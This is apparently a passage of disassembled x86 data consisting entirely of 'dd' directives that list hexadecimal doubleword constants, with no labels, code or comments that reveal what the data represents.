		dd 9CC43D34h, 3AD1E3FFh, 9606BFE7h, 57E66C90h, 5E497D65h
		dd 0D78030AEh, 65835567h, 545EAD1Ch, 0E4E68B63h, 0D04953FFh
		dd 0FAB97406h, 0AB2D42D7h, 0C4E30DC8h, 197B957Bh, 0F22C7A3Ah
		dd 0C30B88A1h, 0A7E84B2h, 953EBF23h, 0F29A367Ah, 7F2415FCh
		dd 0C4137924h, 3B1073Ah, 80E8F0E4h, 780CB3B4h, 0E1E4A9Ah
		dd 51EABF1Bh, 0B1B2D4B0h, 2A4B3245h, 0F40080AFh, 243DF956h
		dd 3A93B34Ah, 70386760h, 0C53AE9E3h, 455A84F9h,	2F8B59h
		dd 422907FBh, 7FCCCC30h, 53734Ch, 40F7FEC1h, 1F9C7969h
		dd 7653070Ah, 0BA98B787h, 0B56565C1h, 0BCB30696h, 6E276A32h
		dd 794E03BCh, 3988FFEDh, 0DE378BCBh, 7E351B77h,	7CE44E2Ah
		dd 0D3075138h, 46A21810h, 7CB7FBFDh, 0D2AEA9CDh, 1054C33Dh
		dd 7C0E1427h, 1FD000FDh, 16B51C52h, 0D0F82353h,	7B41DD6h
		dd 5EC60AB9h, 8D00C261h, 0B00FBFDCh, 0EB086167h, 5E720A66h
		dd 0C288B887h, 436F9022h, 4A9C3CAEh, 0D7334AF5h, 0D52CB161h
		dd 0E5A5BE6Dh, 2FD65B66h, 39B1729Ch, 6B0190FCh,	2B7660FCh
		dd 0BC4C6922h, 3BA9656Eh, 7845529h, 9F0AB4C4h, 0FE0ABC3h
		dd 0F86F3091h, 0BF2EBDBDh, 0E4A67920h, 0DE2D297Bh, 18B33878h
		dd 4D5F5DFEh, 19975EA1h, 0FB267FA1h, 66F3C5E1h,	0BC1926D1h
		dd 3F2C1D7Eh, 0D7092113h, 0B78B3220h, 0FF77CCCh, 0C077F03Ah
		dd 0E9EF13A1h, 1094A3EDh, 0C999CD26h, 9D231DE1h, 37E67100h
		dd 2CB44C64h, 49CF1CB5h, 444C6DB2h, 0E3A8B2C9h,	483FBF28h
		dd 762178E5h, 382E03C9h, 0C1F4B92Bh, 0AF642ED9h, 0E72B7217h
		dd 0FDEE1157h, 0CB8311BEh, 0A136F9F1h, 0FC032320h, 7D163C4h
		dd 0E33B771Bh, 424CAB17h, 0F9D0756Fh, 69A28369h, 5E7DF825h
		dd 7DD5CAD5h, 4D8D4D08h, 3C9B7A6Ch, 4FCFEE6h, 0F7655816h
		dd 0B6170DCBh, 7BAECA07h, 0FDBC7981h, 0DDAE694h, 0C58C4F1Dh
		dd 1BED033Ch, 0BF7FA29h, 0AC0FCEEh, 0F59CC2Ch, 7B2BC767h
		dd 1D9729F5h, 43DB192h,	0EBCFB620h, 0AB5A3C06h,	0CFF4F891h
		dd 0A02228Eh, 4F2DBC5h,	28D23D5Ah, 4CAF9D74h, 2A5BE83Ah
		dd 3809730Eh, 0D8FE4D57h, 74AA6E24h, 46046CD6h,	0F29168E4h
		dd 2B4ED49h, 43201C2Dh,	45CE9CD4h, 0A78EEA05h, 1CB2A89Fh
		dd 8B5B0DCBh, 3306852Ch, 680B772Fh, 6DD15326h, 323CF56Ch
		dd 0CEEB3F6Dh, 5AB0ACCEh, 11ADB5D1h, 0E23D1D80h, 68094EFAh
		dd 3EF4B6CDh, 0CCB0FCFBh, 24884508h, 578E3784h,	40B1B897h
		dd 0D81DFD7Dh, 43E6199Ah, 0B9D081FBh, 0D4665869h, 9FF1F7D6h
		dd 0ADD8FEh, 99F368C7h,	7A820BBCh, 738B7D0Ch, 5F44B5CCh
		dd 461B5564h, 0D2A1597Ch, 0B6151C72h, 4D4AAC1h,	2E99E334h
		dd 532664DCh, 0C5B8138Eh, 0E05F6C29h, 9215ADCEh, 0CBC9783Eh
		dd 0C16AFDC4h, 77A6FBD8h, 9F2175EEh, 34DD5E52h,	8F754964h
		dd 0B7DDC5CFh, 44C035F6h, 509EF613h, 4DF74569h,	0AB103A73h
		dd 0E0031655h, 0F23E34D0h, 0C31B1E3Dh, 72C4FAB2h, 0F360ED2Ah
		dd 0CE854F4Ah, 90347A72h, 3034D988h, 988A1470h,	519D81CDh
		dd 0B489AF11h, 2A37CB67h, 1CFCAB5Fh, 61CA0752h,	85BA3984h
		dd 0FC67F02Ah, 0B20638D0h, 0AA5675C6h, 68CC7C4Ch, 0E684A3Dh
		dd 0D9BE4779h, 3B962375h, 7543974h, 4DB25861h, 0BAA561F4h
		dd 4E596934h, 5ED05F9Ch, 17C8B63Dh, 0CE1BA1CFh,	586E6F5h
		dd 8EE471Dh, 2AE8A0F4h,	6F9541C4h, 411079D1h, 6C86692Ah
		dd 5ED826C3h, 570EF639h, 78320A9Eh, 7D391969h, 5B1A74DEh
		dd 0B03AFBC4h, 81471598h, 68B59074h, 0A10B34C6h, 0D23B99E8h
		dd 654067FEh, 5125B92Ch, 9F37B9CEh, 2B5BEB2Dh, 22033D6Fh
		dd 162E8DC4h, 3D422070h, 4A2F3235h, 750072E1h, 90B2FFE1h
		dd 24BB3C22h, 0DA995D2Ah, 574D75DCh, 2A468B9Fh,	57F3DD0Ch
		dd 7E57290Ah, 0DBA9917Bh, 0B7D6585Bh, 74550626h, 3E9F5D7Fh
		dd 0C35C43E2h, 0CAB22584h, 9DD287CCh, 4F4F3F22h, 0F91F5E2Ch
		dd 46957704h, 109CB5E1h, 44B30A38h, 9046B4C5h, 7B4DA478h
		dd 0CC9499A2h, 2A9BA85Bh, 0C5217466h, 9711EFEh,	56B660EBh
		dd 54B45381h, 8EA912Dh,	34C3109Ah, 1E1657F9h, 4AAA1875h
		dd 205D907Dh, 0FB3506FFh, 0BEF56EEFh, 54F3F3F0h, 4DB1E528h
		dd 826CE036h, 9A67B2Fh,	0BE539B86h, 4314B9CAh, 12BFA0FCh
		dd 28E4A1EDh, 55DCA0CEh, 19AF2963h, 0F806C56Bh,	0DE62531Bh
		dd 0F60FFB1Eh, 0B9358678h, 0DB4B1CAAh, 7C0EE562h, 56757158h
		dd 4D7C62h, 0BC3310E3h,	532671CEh, 4DEE791Bh, 3AEBB8BFh
		dd 0C9175151h, 7CDC000Ah, 78C2AC75h, 0EEFE4FCh,	9049BB53h
		dd 38E6F0D6h, 6FCB9129h, 16B3D62Fh, 0AB9EB42Bh,	423B5D11h
		dd 8BD09CEh, 0DDAF8F78h, 58F5B6A4h, 4D3F7E6Bh, 53CDBCFCh
		dd 642CA168h, 485BAD91h, 0B8F9A1D5h, 0C7FE472Eh, 5BB45D6Bh
		dd 0DDAF5198h, 0C568C920h
		dd 0A391B986h, 9C1771A1h, 65AD159Ch, 7A98D9C7h,	0C9AC4615h
		dd 0B4E49C8Bh, 9D4C004Fh, 4601697Ah, 3DB03064h,	0DEC63413h
		dd 1EE6705Dh, 0CE15CBBFh, 0DAB39CBAh, 7C8BF719h, 0E021DFAh
		dd 0AA5C2E75h, 0E3B858CEh, 6B331DC4h, 51F28D53h, 406C88BAh
		dd 0DADAB7FBh, 9F226C6Ch, 52F49B94h, 2C90340Bh,	0D84C0279h
		dd 1AB7E499h, 45B20404h, 4BE3B6ABh, 650D7124h, 4A177D6Eh
		dd 0DB1B9659h, 1E9F3E39h, 5A062287h, 4EC6B975h,	6BAAFE40h
		dd 794C7DFFh, 1FE16B04h, 4C8917E7h, 4AF60522h, 0CC2CFC31h
		dd 6AF5F7ECh, 282B073Dh, 0CB3D5FAFh, 180454A1h,	0D42FB942h
		dd 367D7F48h, 0C8ADE112h, 0B4968FC7h, 9F2E74D2h, 9C7BE2E1h
		dd 8A7AE2DEh, 0F5FAE11Eh, 0C318FCE0h, 1F16FC45h, 32A2D43Dh
		dd 51F67F6h, 18FB5D61h,	72F7B63h, 0E308CAF9h, 37D8F220h
		dd 4F2F7E26h, 983E697Ah, 9F3479F0h, 93B0F6AEh, 0B62F33F9h
		dd 0D8C12CC0h, 0B81A0706h, 1B17590Bh, 9F297462h, 7D47287Dh
		dd 93B0387Ch, 0AB42DE3Fh, 50D3BBCAh, 8F347357h,	0F8F6992Ah
		dd 0EA2AC541h, 1ACFF41h, 0D1D14EC4h, 54C80160h,	0FE4F8B7Bh
		dd 0DA00C582h, 0C340C755h, 0BEEAA8FFh, 1256D6BAh, 0E26868E4h
		dd 0D592FDC3h, 0B72C043Fh, 26CA916Ch, 3C04F061h, 38D458FCh
		dd 18CB3175h, 7DD6843Fh, 0BB33977Fh, 62FA7F39h,	3AACEAD5h
		dd 0F8D4A745h, 78AB2333h, 708CE4FCh, 74F66452h,	630CB7DAh
		dd 9AAF6D3Eh, 9DA163ACh, 0DE4EAB36h, 87A2834Eh,	4289DDEh
		dd 7AD0083Fh, 9AF34DFEh, 34B62C86h, 77245E90h, 0FDD165D4h
		dd 0EE25BD66h, 0E44C0F8Bh, 12589C95h, 77C91A2Fh, 156290E7h
		dd 0E225D256h, 0FE2DBCE5h, 0D6EE8F8Ah, 339B846Dh, 404975A5h
		dd 19892B16h, 0D7F4FCC4h, 0B2AE8FBDh, 0AA36138Ah, 9B00714h
		dd 0BE98F736h, 0D1C0897Ch, 7F2BAC68h, 68821E14h, 0F972DC76h
		dd 49771D16h, 3AC3BFA4h, 0A420537Ah, 0A788C103h, 1AB1BFE7h
		dd 3A5BC1C5h, 0D2A8F4FCh, 761E1568h, 57107B02h,	0A7346CEBh
		dd 0D8C4F9C4h, 0E2158D18h, 58C679C9h, 0A868F016h, 497C0B73h
		dd 98FB7803h, 0C282A629h, 84EDCD74h, 0E3F57AE9h, 25B0FFDDh
		dd 3DF7E144h, 0C18FDDFh, 7DE079DEh, 70947344h, 8E1CE801h
		dd 4609FF8h, 0D0C7F4E7h, 42037EBEh, 4E1D646h, 3474D256h
		dd 0A18EF84Fh, 940D0F9h, 494AF73Eh, 0F656705Dh,	6186B6A0h
		dd 0A438FA20h, 4C307C60h, 0B4AC8F70h, 0D9316166h, 0A65687B9h
		dd 2529FE0Ah, 4EB77E8h,	2A2B56E0h, 0FAF35164h, 5CE0B220h
		dd 3957F503h, 996054E0h, 0CBDABE51h, 2F092ED9h,	853680E8h
		dd 4C08BA5Ch, 0FA687CA5h, 0D785C4C8h, 0BC657127h, 738ED8DAh
		dd 5DECC07Fh, 0B861BD3Eh, 5B9F8062h, 0ED1850EEh, 0BCE4DE8Ah
		dd 20B0BF6Ah, 4DA11F31h, 0CCED811h, 0C628A9A2h,	3FB6D484h
		dd 2CE5BF78h, 9F3574B6h, 9E60F482h, 7B2B59EFh, 37AA0ECFh
		dd 49AB942h, 7EA2042Eh,	184C7238h, 0C583497Eh, 0D7B01BEDh
		dd 0B5094BCFh, 9CF75563h, 20A9BF41h, 0F5EFB264h, 3169AD8h
		dd 70CC67F4h, 0C534ED58h, 0B86B284h, 0DDC743D2h, 75E11929h
		dd 0E7425Ah, 0DBB639FFh, 0B937411Ch, 356EECF0h,	9CFCBF13h
		dd 54ABE0F0h, 288FB9B1h, 7DE7A71Eh, 0F83EA5FFh,	476C1DF8h
		dd 3683FA1Eh, 48A931CFh, 89872E3Dh, 3008E1F9h, 0D258B94Fh
		dd 734C70E4h, 0D404343Fh, 4989C864h, 303376E7h,	11B02A40h
		dd 6B3750D1h, 0DA914C2Ah, 0B0F73743h, 69B6D606h, 9CBC2921h
		dd 47A80CC4h, 0FECFFD65h, 95104A7Fh, 3B21AE81h,	89AF0455h
		dd 0C434F1B8h, 3AF153AEh, 62A7779Bh, 0D22E1CAEh, 0E9E4B3ADh
		dd 7827FD12h, 0E230A149h, 0F5379D3Fh, 0B63E1E3Ch, 3E3FEEC4h
		dd 1F0C86C1h, 4D18CDF9h, 0D8AC6018h, 68B07E59h,	0ACCCF6B6h
		dd 0BE9F3C3Fh, 0B5F946E1h, 7B18806Ah, 318435C7h, 0ADA708Ch
		dd 22283E61h, 0C45D87BDh, 0A5E293D4h, 9FB1695h,	17D80434h
		dd 0D65E21C9h, 1292F394h, 0ED2D7A7h, 0FBA5111Eh, 705F4992h
		dd 23601EACh, 0B3E090A5h, 29E610Fh, 2C20F7C8h, 0D9EC7DD6h
		dd 5604B068h, 90F95E2h,	0F8B45100h, 5B989028h, 5E76AEDCh
		dd 0CA483F12h, 9A68A91Ah, 0BE305A2h, 0C991FCC4h, 0D4C61CC4h
		dd 76B15022h, 50CD7478h, 0C0EE7705h, 0A7490D30h, 0A2B6E950h
		dd 0E0BE423Ch, 0A060BE81h, 345C87F6h, 274C0428h, 8E0B9964h
		dd 436949DFh, 476A6FE6h, 859C5CFBh, 308699BDh, 9C15009Fh
		dd 9F21928Eh, 264BC0Bh,	6DB10708h, 8046E075h, 0A056353Bh
		dd 2DBAE4F5h, 0C7E48093h, 5CE40318h, 0BE559777h, 3E3690E1h
		dd 2829992Bh, 0D20CDE86h, 4D578CEh, 82EB7572h, 0A65D750h
		dd 4E06D999h, 40D19D7Fh, 324D3F6Ch, 0B8E2283Dh,	5BF04718h
		dd 65BC8A1h, 58993CB9h,	0DC50FF53h, 1DDAB497h, 5D0D3355h
		dd 9446AF4Fh, 0B7E270B0h, 0B23DBE8Eh, 3C0DFDF1h, 624D3CBBh
		dd 0B67C0BEBh, 31E9749h, 90B1AA1Eh, 4A594060h, 0AAF988D6h
		dd 0DBF72A13h, 262D90C2h, 544D9FDFh, 25A2FC49h,	0C848F978h
		dd 5CCD447Dh, 88504CDh,	0D2ACDC7Ch, 0D4207BBFh,	5BED1CFDh
		dd 0E41F75Fh, 2746FB37h, 42D5F7F8h, 0C15F74EBh,	65D6CBFh
		dd 520DA5EDh, 0F11EF9CFh, 0C9B84CDBh, 984C7EE3h, 0F20865h
		dd 0C335854Dh, 0DB774284h, 9F268124h, 2F14A6AEh, 0A5E31DEFh
		dd 648171C9h, 42A3BEB2h, 7D338122h, 0CAADFBFFh,	0E5552404h
		dd 0DDC1E84Eh, 0B73791E6h, 12FB0B45h, 0AFA86800h, 33D4DB8h
		dd 0AFC1212Ch, 867F756h, 0CC3C95B5h, 13676604h,	4386455h
		dd 0F2A07FE1h, 3A4D896Ah, 80C4D66Ah, 0A5F01CEBh, 0A876EE6h
		dd 7E94E4D8h, 7EBB74CDh, 0D7A2FA9Fh, 0B8D988C1h, 1B0F4C00h
		dd 78B81DF7h, 9C22FC8Dh, 89BA70E6h, 0B8271CA9h,	0F9E43367h
		dd 40C49D14h, 78EB4998h, 0E8E89255h, 0DCAC2C68h, 58AF46B6h
		dd 0AA9AC608h, 0A0F5676Ah, 414DB436h, 2480A704h, 514CB508h
		dd 1CE54E57h, 881A4A54h, 0F1AD86B0h, 54C38C0Dh,	0BCD0470Bh
		dd 4A96D81Bh, 98E6E651h, 3A86E90Bh, 9DF57B63h, 0C3BA7771h
		dd 9D0F1CDDh, 1F07B124h, 79FC276Bh, 79E266D2h, 36A1538Eh
		dd 7CA1839Ah, 9CC5C967h, 73178271h, 0DD532302h,	0A846C84h
		dd 87329966h, 918CFEFEh, 83186599h, 259835A5h, 7068DE99h
		dd 0BF2F1677h, 334DFFFCh, 29F1E064h, 0F586138Ch, 9D84089Bh
		dd 62DFD456h, 41F475CCh, 3A8B9DD6h, 1334F51Dh, 0B3A7FF68h
		dd 74A0D516h, 12794962h, 908525A1h, 6FBA8366h, 0D56A1381h
		dd 834DABE8h, 0EFDE434Fh, 4FA8176Ch, 43F3078Ch,	59AC3D97h
		dd 9FE3EE40h, 219E8F41h, 0AF4CFD66h, 6B213C68h,	33EBFEF5h
		dd 7EA3C751h, 7D455FF1h, 8DD07FC7h, 4703F261h, 5EA0366Eh
		dd 7B39AF52h, 73A47A2h,	73DB8184h, 253F2DB8h, 6875A8FCh
		dd 684980ECh, 0B9679D13h, 18371DF9h, 8256CA89h,	65C21E21h
		dd 0E529679Dh, 0DF547768h, 0FAB4339Ah, 519AFC32h, 0BCAA0365h
		dd 33F3FE6Ch, 0A8024263h, 1E16443Ah, 7D8DF5F0h,	0DF1F963Ah
		dd 3F6CE42h, 428A0398h,	26301C7Dh, 0EC3D4164h, 2AE7EC83h
		dd 7AB316A2h, 0A6481DE4h, 102FFC63h, 9BCCD5BFh,	14A1759Ch
		dd 11FAE82Ah, 0B080CA61h, 0A328606h, 8571B2FFh,	0A46BAADDh
		dd 0D82545BEh, 42921D1Bh, 2143E16Ah, 0B82B8B63h, 0C34242A6h
		dd 0F4516332h, 9F299172h, 45A7AB28h, 0F8E6DC95h, 2FF1C8CDh
		dd 0B1A467E3h, 7F3D67E5h, 90AAFFE6h, 4FB2C122h,	699F4952h
		dd 0D30C862Eh, 60211096h
		dd 0B1BF7110h, 7A58F17Bh, 0FCFC66D1h, 3EDA85B2h, 4F45BFD6h
		dd 0B194E2D6h, 9234F12Dh, 7D34812Ch, 3AF13124h,	74EE7400h
		dd 7D9B7481h, 0D66CEB9Fh, 758E1FAEh, 0A9507492h, 0FCE5B4B4h
		dd 0FBC77ED1h, 25B1E9BCh, 0AB081C1Ch, 415E0460h, 850BE424h
		dd 703B9C4Eh, 0E1B22AF4h, 1EB1E4FAh, 0BA1E8502h, 0D8D87C6Ch
		dd 0AA001F9h, 0DAFF30BDh, 6A49FDEh, 0FB229DC3h,	0DD74484Bh
		dd 0CAB684EFh, 0DD29BC0Ah, 0A087F1DDh, 7C226D84h, 0C19A6346h
		dd 0C52717EDh, 4917A8C0h, 0E81472D3h, 2702B4BDh, 9E965DCAh
		dd 8CBC2BB4h, 0F97AF213h, 78C0F38Bh, 0D0A9CFB9h, 0CF9D5156h
		dd 20683DEFh, 682C62A9h, 0CF92A7C3h, 0B8D3AEDFh, 41458EEh
		dd 55FAF078h, 532B02C3h, 0D07582Eh, 0DCB0D49Dh,	0EB6DB5CEh
		dd 0F57174F8h, 17801AFBh, 0B0F7F36h, 0C0F6B4FBh, 0F3F18739h
		dd 4AA0F087h, 0C365630Dh, 8F5BD46Ch, 7A656C7Bh,	0CFD9B267h
		dd 6865C43Fh, 246E9FE6h, 8481C381h, 2B0F01C3h, 2151EC50h
		dd 0DBF77B00h, 2BD07C3Fh, 0E4EB7531h, 6BAC7FC9h, 10E063EDh
		dd 28F35129h, 27F91CF6h, 50C30241h, 0C083D34Eh,	77F48C4Bh
		dd 29963D2Eh, 0D1A2F561h, 46D8756Ch, 0C44837A6h, 0D155869Eh
		dd 0DDA165ABh, 370B1F12h, 1C9619A8h, 0A10CF1C4h, 29CE5F0h
		dd 9F047F3Ch, 0CFC0612Ah, 0C377A790h, 1F607A11h, 5F5A5012h
		dd 6DBA3E4Ch, 25BE73C2h, 321FBB0Ah, 57466EDh, 0DE02538Dh
		dd 6291143Fh, 4EA5881h,	0BD852953h, 0FDAC9B6Dh,	51AAFEF2h
		dd 0EFCE1637h, 0C20CDA07h, 0B06751FEh, 0FF1C1E3h, 886C5A8Eh
		dd 8803B14Fh, 0C4E82872h, 0F4DE0D4h, 40096170h,	0F6CE3BB8h
		dd 29526216h, 38FCAF36h, 33545662h, 64311A1Dh, 0C3819DF4h
		dd 0BBEAD084h, 9130AB1Eh, 0CA5062AEh, 0AA05CA2Ch, 0EF3783DCh
		dd 0CBEF26A0h, 0EACD267h, 926837Dh, 7A9B6D1h, 0B75DBCAh
		dd 74F3B664h, 0E2A0E45Dh, 0C0A2FC68h, 46E68365h, 0D5ABBB10h
		dd 0E94D3A37h, 9B795E14h, 783F31E1h, 0A71586C0h, 1168B70Dh
		dd 0ACCEEC17h, 70D11CAFh, 0C4AFC02h, 6DE7B35Bh,	0C1D8D69Fh
		dd 0D863DC06h, 19DE4131h, 64142A1Ch, 0C23608Ch,	19694BFEh
		dd 0F52342DEh, 0DF940467h, 2520FAAEh, 0A49A0EACh, 0E3985A53h
		dd 0BEB8F9A8h, 1AB97413h, 731EA5A9h, 422DEA0Bh,	0F9AC8040h
		dd 0F43C7A28h, 0DE28D939h, 10F925F0h, 1AE41868h, 0C3361137h
		dd 136ACDDDh, 21785A54h, 4E4B8FB0h, 0E3B36096h,	55BA6CFCh
		dd 26C9941Ah, 0D4FB99C3h, 0EB4CB025h, 0E034E5A4h, 0B9D6FEEAh
		dd 0FAD31E1Fh, 0A07C626h, 1C6358CCh, 5EC499Eh, 2B5CE551h
		dd 0F535D09Ah, 0D31880AAh, 6CD08B6Fh, 7EA0CF6Bh, 8FAF641Ah
		dd 0FADCEA32h, 241081C4h, 9E8F17Ch, 0FD0D4AFh, 335400E9h
		dd 687B9695h, 0A28A765Ah, 0AEE6ED66h, 0D5287B8Eh, 34E43E61h
		dd 98EA89FEh, 0AF000091h, 0FC2BD2D4h, 0F75B0C62h, 7575D4EDh
		dd 0DD0AF7A8h, 0E9A4CC3Fh, 0D0E6F5C4h, 20CED10Dh, 2F4C71B9h
		dd 0B13434EFh, 67EC062Bh, 0C5C72E55h, 0A5A02CCh, 6B2774A8h
		dd 0CEBFBD02h, 0DA9CF70h, 0D305E6E6h, 661079F0h, 4028C781h
		dd 8D880E1Bh, 1873C946h, 8ED5E81Eh, 0FB2CB686h,	29CFBCC0h
		dd 0D78FF94Eh, 0BD223810h, 0CB0CE84h, 1A52E2EDh, 97209068h
		dd 0FC0AB14Fh, 0FF6286EBh, 0CAC9668Dh, 0CE0A4181h, 0AD2ECB44h
		dd 0E90896DEh, 3B30A338h, 5A2C40C2h, 0B4A6BABh,	0B813090Bh
		dd 0FF0231EDh, 0A330C5F6h, 4F92E4ACh, 0A2A5CD0Ah, 8E684E43h
		dd 921A8D4h, 3F742475h,	0FA20AAA7h, 317059Bh, 6E55FE3Eh
		dd 0F814470Ah, 0E1F775C9h, 6DE35D46h, 4A04DC47h, 0ED65D09h
		dd 147292EFh, 8D0712A7h, 0E7A0CE71h, 2A92B08h, 0BAE0E33Eh
		dd 0B54FE70h, 0D204E51Fh, 6EAAB300h, 0EEA17FBBh, 0A58001Ah
		dd 1FA8E679h, 21D08635h, 0EB4BBD79h, 2998A081h,	0F47BDBFDh
		dd 23046497h, 35D7D0Dh,	0CB3148A3h, 9C0786ADh, 0F0DB113h
		dd 8DB17EFCh, 0CC10ED34h, 7AAE04DCh, 0FD267F10h, 0C95C724Bh
		dd 3B2B3BF0h, 318A0BC7h, 50AC44C2h, 0A95B70E9h,	21F15F9Bh
		dd 2F02F43Eh, 487F78ADh, 0FD51FDECh, 0A3470121h, 0C9090922h
		dd 0A202C024h, 1F529C7Ch, 6290393Dh, 5C1673F0h,	0BB212EFh
		dd 95E45310h, 0ABF6BA24h, 0D2185768h, 0AD558AEBh, 700CB5C8h
		dd 8E3B4807h, 39B0EDEBh, 18A8FCF4h, 191779E5h, 1BAE41FFh
		dd 7CD24D90h, 7890BDFAh, 0D0CCFEA4h, 27E046D4h,	0B8FE793Ah
		dd 0FE14B933h, 0F29F5C9Eh, 3F157DA6h, 0F8E8E82Dh, 2450C0A7h
		dd 0D49DB506h, 0B0F0618Dh, 0A357D470h, 0F404EB21h, 20AC1D1Ch
		dd 0FEE4A667h, 0BAF59CC6h, 5B058A4h, 0F419BD68h, 31F2B5C0h
		dd 0FEE871E8h, 0BBE16A3Ch, 0EF306AE7h, 3135843Ah, 0CEA05FDBh
		dd 0ECE9FEFAh, 0FFB59D32h, 0F8ED8D11h, 0EA4D38E9h, 4423201Bh
		dd 0A0FB48AFh, 0E6FADB65h, 0DD0EB0Fh, 0F2E4C5CAh, 9F316FC7h
		dd 0BD0CFE43h, 0CFAE7B35h, 0C71F3F29h, 356D82CEh, 73EF135h
		dd 34636529h, 0CBB43FACh, 0A8BF0DFAh, 3F063563h, 61193812h
		dd 1FED240Bh, 0DC11BFD8h, 0B90B709h, 39C4AC4Dh,	9C4C7BDCh
		dd 0BBE0C667h, 0A9F2DB34h, 0F6A87446h, 2F848736h, 13B710C7h
		dd 0D74EE9A9h, 0D4A8C7h, 680F7710h, 63CE891Fh, 60CEB3A6h
		dd 6C2E493Fh, 5D931455h, 9C6F3F09h, 0D1FC9F01h,	5670EE0h
		dd 58E8CF09h, 22BA6F3Fh, 6B5A1D2Bh, 0AD3DCBB4h,	0ADB0D2F4h
		dd 54CE442h, 282DF571h,	0EE566CEFh, 0A0AEB316h,	40C25B74h
		dd 45BF0827h, 1AD1ABC1h, 0BB7C787h, 2304AAC7h, 213C135Fh
		dd 0C18722B8h, 49A3470h, 1F0001F6h, 0D06D58C0h,	0F120439Fh
		dd 670CCE5Eh, 5670CA50h, 0DE2F1A39h, 8AFDF5B9h,	1BC581C3h
		dd 7B077D31h, 9DB644C7h, 52C27598h, 0E15AEA1Ah,	4AFEFC27h
		dd 28B2C84Ah, 66901F0Ah, 0D42865C8h, 3ECF79Eh, 27F2BDD9h
		dd 5FF85527h, 70B57B1Eh, 0F46BF48h, 1DBEF73Eh, 57E8B52Ch
		dd 20D34462h, 9C306032h, 27917A6Ch, 64600B8h, 7BD167AFh
		dd 83FED50Dh, 0A3B70EFCh, 20D7354Eh, 451D572Ah,	0D696DEE5h
		dd 1E7E8626h, 132267C5h, 0DF2256B1h, 0CB018C09h, 1360A8EFh
		dd 78C7CC30h, 4256B53Fh, 69C8FFA0h, 0CB107639h,	0D5060754h
		dd 904F57FFh, 0A5C00113h, 9F40681h, 0E60FD391h,	1616B367h
		dd 0FDFB9FA6h, 0A887A1D8h, 0B35B4C7h, 3BC0136Eh, 0A4C24F3Fh
		dd 0D5D21712h, 2AEA6061h, 0DF061C92h, 5FF68100h, 0D82CE1C4h
		dd 7264BA0Dh, 89104D0h,	0A52CBB5Ch, 0BC3CBB30h,	0E4C20D71h
		dd 0D501687Fh, 5AF89058h, 3BE1C25Bh, 6F68802Fh,	383CD5DBh
		dd 0AD477C68h, 90E9EBC4h, 0CBA7B78Bh, 0B367A594h, 0BF303F2h
		dd 0BAA9D9A2h, 42547493h, 0B788D8B4h, 2DF5CD9Ch, 0EB2754AAh
		dd 98310873h, 7893B15Bh, 0CBE6E21Ch, 95D195CFh,	0CEBCC057h
		dd 0CA5B8F3Ch, 646E7C7Eh, 68674C3Fh, 14CB9CA5h,	0D0F15B93h
		dd 8524DB9Ch, 0FD3515DFh, 424AB7A6h, 3C4B7D1Bh,	26611D54h
		dd 38A64E9Ch, 812757DFh, 235F568h, 0D48A58E2h, 0D5934392h
		dd 1F0CE17Ch, 50CC8F79h, 5CF54C54h, 339A55A2h, 401B3F0Ch
		dd 0E0A5733Ah, 6170A78h, 25F4B0E8h, 0D852965Bh,	34D08D67h
		dd 5CEFA156h, 0D7E55489h, 10F81CACh, 0EEEA4807h, 7617462Fh
		dd 384C01AAh, 0D2F8F0DDh, 0A98204F8h, 0F5844169h, 3ACEC6F1h
		dd 2391F884h, 86F45D1Bh, 6B26C727h, 0FB4D93E1h,	636A1CA4h
		dd 8C4F95D2h, 0E8877CF4h, 0FC4663B9h, 54106BDAh, 57B5A3EEh
		dd 6FA7BB48h, 2861EEEh
		dd 0FAC2DA2Dh, 0AF6BD420h, 0AE4C84C0h, 78A9B71Ah, 5885B5F4h
		dd 0C43F812Eh, 3EB81DF3h, 453CBEF9h, 4ED1F3B8h,	70FA1D9h
		dd 3F34FBF7h, 6B3A4726h, 9F4A1EEEh, 5FFB28Ch, 0E5B4E454h
		dd 0A5E92E24h, 0C3DDE77Ah, 68EAF8E2h, 0C1B47473h, 0E2CEEF84h
		dd 986C0C20h, 0DBA89CE2h, 3A6EF9FDh, 0EC8C4A57h, 0F3146383h
		dd 0BAFE368Ch, 0F7A49891h, 79C82538h, 0B4418801h, 560658C4h
		dd 0AE3A1507h, 462F960Bh, 9B0B9307h, 412EB370h,	490873DEh
		dd 4855ADA7h, 10127FDEh, 0D9AB5C44h, 6C74BB93h,	0F329BCC1h
		dd 0BECCDE87h, 7F07E5FDh, 4AC51D34h, 0CCC766Bh,	7F14D2C3h
		dd 62BE474Ch, 1EE1A7D3h, 0AA4966F2h, 47C80F9Ch,	0C720CD05h
		dd 0AA231DEEh, 0C89F09Fh, 92A2AE50h, 0EBC86053h, 45F35840h
		dd 0A0BF326h, 46BE0A70h, 0DBF01FC1h, 59A72EE8h,	0C86DA484h
		dd 68CD6590h, 3D785885h, 24F73E3Eh, 0C287AFDCh,	55F66DDEh
		dd 7D7144C0h, 50347DFBh, 75AEBBF4h, 69649944h, 214E53Eh
		dd 4208D9FCh, 9DBA3431h, 0CEFB8D64h, 9CF522A9h,	0B4C6F85Eh
		dd 3884421Eh, 1C5E645Ch, 185BD4F2h, 0A5E974FDh,	62E3AF94h
		dd 1934708Eh, 8F03805Fh, 0CF87D8A8h, 5B81CB67h,	517E2969h
		dd 0FD8BCEFFh, 0F6F027E8h, 54A32FD4h, 5B3590CAh, 7ABCEAC2h
		dd 0B4AE75F8h, 261BB364h, 32243CD9h, 82EB0AD4h,	99489E95h
		dd 10C2D7Ah, 6EE64622h,	82581DFAh, 0F4A11238h, 8E090B06h
		dd 9867F2F4h, 9CBBD336h, 0BEE0AF2Bh, 0ABEB7766h, 0AF153781h
		dd 3196FE4Fh, 60E801B0h, 0EEFEF2FCh, 4E68B475h,	46A5C43Eh
		dd 4AC14F4Bh, 31BD7743h, 660AE2F0h, 0E96A4CD6h,	928E6306h
		dd 9A1F2902h, 0C4A69DC4h, 78F8ACF6h, 0B6298817h, 5AC72ED0h
		dd 0BD5D317Ah, 0FE56A9Ch, 4E997FC1h, 28E8A0FFh,	42B3D7D1h
		dd 59774ED2h, 0BDF3A0D4h, 845033A9h, 0E3E19288h, 8709CCE4h
		dd 0D048F306h, 543518BAh, 0F12CE05Ah, 3021B367h, 0C4864AFBh
		dd 2F6D3E51h, 67A47D2Ch, 0C5644718h, 0C44FA056h, 0C1559ED9h
		dd 0CDA16A42h, 0B134CD05h, 246FD7C9h, 0CE1B4282h, 0A0E7AB63h
		dd 76EE93D8h, 0CAA99150h, 85369F71h, 0FEFAE086h, 68206FBEh
		dd 0BD8F4610h, 0C5C00C14h, 9D31ED7Ah, 8FB351E7h, 3B05A9F0h
